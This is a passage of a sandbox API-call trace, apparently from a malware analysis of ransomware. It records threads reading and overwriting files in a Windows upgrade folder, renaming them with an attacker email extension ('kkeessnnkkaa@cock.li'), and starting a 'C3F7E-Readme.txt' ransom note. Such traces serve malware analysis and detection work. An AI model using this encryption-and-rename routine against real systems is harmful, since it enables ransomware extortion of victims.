	[0086.380] SetFilePointerEx (in: hFile=0x1900, liDistanceToMove=0x43ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.380] ReadFile (in: hFile=0x1900, lpBuffer=0x29abfa9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29abfa98, lpOverlapped=0x0 | out: lpBuffer=0x29abfa9c*, lpNumberOfBytesRead=0x29abfa98*=0x4, lpOverlapped=0x0) returned 1
	[0086.382] SetFilePointerEx (in: hFile=0x1900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0086.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.382] NtQuerySystemTime (in: CurrentTime=0x29abfa78 | out: CurrentTime=0x29abfa78*=132251868131163582) returned 0x0
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x441434d3
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x6cf25e74
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x65359ed9
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xf9b3ba7
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x95ec86c2
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xbf33b5fe
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x649a0df9
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xbe5050df
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x51064a27
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x984ebf90
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x4156bac4
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x9529e15f
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xed3174
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x771ffcb0
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x30d09e08
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x4c31b9b3
	[0086.382] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x4f458b53
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xd03976a4
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x2229cd2c
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x941bf57d
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x77be43fe
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x13bd307f
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xd9994e5c
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x9a60ad7
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xfc3daebc
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x14cdbfe4
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x3c2a085f
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x3ab2932f
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x6cb95e82
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x73250e50
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0x52162e62
	[0086.383] RtlRandom (in: Seed=0x29abfa84 | out: Seed=0x29abfa84) returned 0xf6579089
	[0086.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47858
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0086.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb150
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.392] ReadFile (in: hFile=0x1900, lpBuffer=0x504b048, nNumberOfBytesToRead=0x43f3, lpNumberOfBytesRead=0x29abfa74, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x29abfa74*=0x43f3, lpOverlapped=0x0) returned 1
	[0086.395] SetFilePointerEx (in: hFile=0x1900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.395] WriteFile (in: hFile=0x1900, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0x43f3, lpNumberOfBytesWritten=0x29abfa70, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x29abfa70*=0x43f3, lpOverlapped=0x0) returned 1
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478d0
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb150) returned 1
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d78110
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77e70
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0086.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x500cf30
	[0086.408] SetFilePointerEx (in: hFile=0x1900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.408] WriteFile (hFile=0x1900, lpBuffer=0x500cf30, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x29abfad8, lpOverlapped=0x0) 

Thread:
	id = 1193
	os_tid = 0x1f18

	[0086.382] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png")) returned 0x20
	[0086.393] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png", dwFileAttributes=0x20) returned 1
	[0086.393] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1904
	[0086.393] GetFileSizeEx (in: hFile=0x1904, lpFileSize=0x29b3fba4 | out: lpFileSize=0x29b3fba4*=3677) returned 1
	[0086.393] SetFilePointerEx (in: hFile=0x1904, liDistanceToMove=0xe59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.393] ReadFile (in: hFile=0x1904, lpBuffer=0x29b3fb28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29b3fb24, lpOverlapped=0x0 | out: lpBuffer=0x29b3fb28*, lpNumberOfBytesRead=0x29b3fb24*=0x4, lpOverlapped=0x0) returned 1
	[0086.395] SetFilePointerEx (in: hFile=0x1904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0086.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.396] NtQuerySystemTime (in: CurrentTime=0x29b3fb04 | out: CurrentTime=0x29b3fb04*=132251868131319888) returned 0x0
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xf0938195
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x57ba75ec
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x1fab4e45
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xd1c66cc9
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x49806dc8
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xe7900622
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xa3cbb91f
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x76dc6a22
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xe235f76a
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xe60b89a
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x14b20a3
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xccce265a
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x3240b9a2
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xff9341a2
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xaae83fff
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x367917e0
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x4b54c643
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x5562d8ac
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x23e41471
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xca1604a8
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x74fa16dc
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x677d1d34
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x36350e04
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xaa3d9cbf
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x7e92fbcb
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x66db2d4b
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0x6e1e104f
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xd8733441
	[0086.396] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xda2e0be9
	[0086.397] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xbbdf9b13
	[0086.397] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xe7c66048
	[0086.397] RtlRandom (in: Seed=0x29b3fb10 | out: Seed=0x29b3fb10) returned 0xcf713544
	[0086.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47880
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0086.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0086.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fa77d0
	[0086.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb3fd8
	[0086.407] ReadFile (in: hFile=0x1904, lpBuffer=0x4fa77d0, nNumberOfBytesToRead=0xe5d, lpNumberOfBytesRead=0x29b3fb00, lpOverlapped=0x0 | out: lpBuffer=0x4fa77d0*, lpNumberOfBytesRead=0x29b3fb00*=0xe5d, lpOverlapped=0x0) returned 1
	[0086.407] SetFilePointerEx (in: hFile=0x1904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.407] WriteFile (in: hFile=0x1904, lpBuffer=0x4fb3fd8*, nNumberOfBytesToWrite=0xe5d, lpNumberOfBytesWritten=0x29b3fafc, lpOverlapped=0x0 | out: lpBuffer=0x4fb3fd8*, lpNumberOfBytesWritten=0x29b3fafc*=0xe5d, lpOverlapped=0x0) returned 1
	[0086.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478f8
	[0086.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0086.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0086.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb3fd8) returned 1
	[0086.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fa77d0) returned 1
	[0086.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0086.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47a60
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e477e0
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c68
	[0086.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0086.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x500d048
	[0086.410] SetFilePointerEx (in: hFile=0x1904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.410] WriteFile (in: hFile=0x1904, lpBuffer=0x500d048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x29b3fb64, lpOverlapped=0x0 | out: lpBuffer=0x500d048*, lpNumberOfBytesWritten=0x29b3fb64*=0x101, lpOverlapped=0x0) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47880) returned 1
	[0086.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c40) returned 1
	[0086.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x49867b8
	[0086.411] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\lock.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png"
	[0086.411] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.411] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29b3fb1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481af40
	[0086.412] NtSetInformationFile (FileHandle=0x1904, IoStatusBlock=0x29b3fb14, FileInformation=0x481af40, Length=0xb0, FileInformationClass=0xa) returned 0x0
	[0086.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481af40) returned 1
	[0086.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0086.412] NtQueryInformationFile (in: FileHandle=0x1904, IoStatusBlock=0x29b3fb28, FileInformation=0x29b3fb00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29b3fb28, FileInformation=0x29b3fb00) returned 0x0
	[0086.412] NtSetInformationFile (FileHandle=0x1904, IoStatusBlock=0x29b3fb28, FileInformation=0x29b3fb00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0086.413] FlushFileBuffers (hFile=0x1904) returned 1
	[0093.100] CloseHandle (hObject=0x1904) returned 1
	[0093.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ecb20
	[0093.696] wcscpy (in: _Dest=0x47ecb20, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0093.696] wcscat (in: _Dest=0x47ecb20, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt"
	[0093.696] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\c3f7e-readme.txt")) 

Thread:
	id = 1194
	os_tid = 0x1f1c

	[0086.414] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png")) returned 0x20
	[0086.414] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png", dwFileAttributes=0x20) returned 1
	[0086.414] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1908
	[0086.414] GetFileSizeEx (in: hFile=0x1908, lpFileSize=0x29bbfa10 | out: lpFileSize=0x29bbfa10*=2611) returned 1
	[0086.414] SetFilePointerEx (in: hFile=0x1908, liDistanceToMove=0xa2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.415] ReadFile (in: hFile=0x1908, lpBuffer=0x29bbf994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29bbf990, lpOverlapped=0x0 | out: lpBuffer=0x29bbf994*, lpNumberOfBytesRead=0x29bbf990*=0x4, lpOverlapped=0x0) returned 1
	[0086.416] SetFilePointerEx (in: hFile=0x1908, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47cb8
	[0086.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e479c0
	[0086.416] NtQuerySystemTime (in: CurrentTime=0x29bbf970 | out: CurrentTime=0x29bbf970*=132251868131476075) returned 0x0
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xb6f327e4
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x17cd16fe
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x881fd6c1
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x33e660a1
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xb8582970
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x52f1949
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xb016bf10
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x8910ab19
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x2abbc5af
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x281520e1
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x393d0d47
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x4990d340
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xbcdca567
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x2bae0f9f
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x9e2b3014
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x1f6b09e4
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x8bbb3fb
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x80226b2f
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xead14de
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x23758e21
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x76ddb906
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x808b9bff
	[0086.416] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xd4ce5239
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x3958d8f3
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x62ff0a54
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xe1952d2c
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xc996da89
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x923e0ac2
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x4c1ccaf3
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xb47209a4
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0x53f41706
	[0086.417] RtlRandom (in: Seed=0x29bbf97c | out: Seed=0x29bbf97c) returned 0xc4785d62
	[0086.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47880
	[0086.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
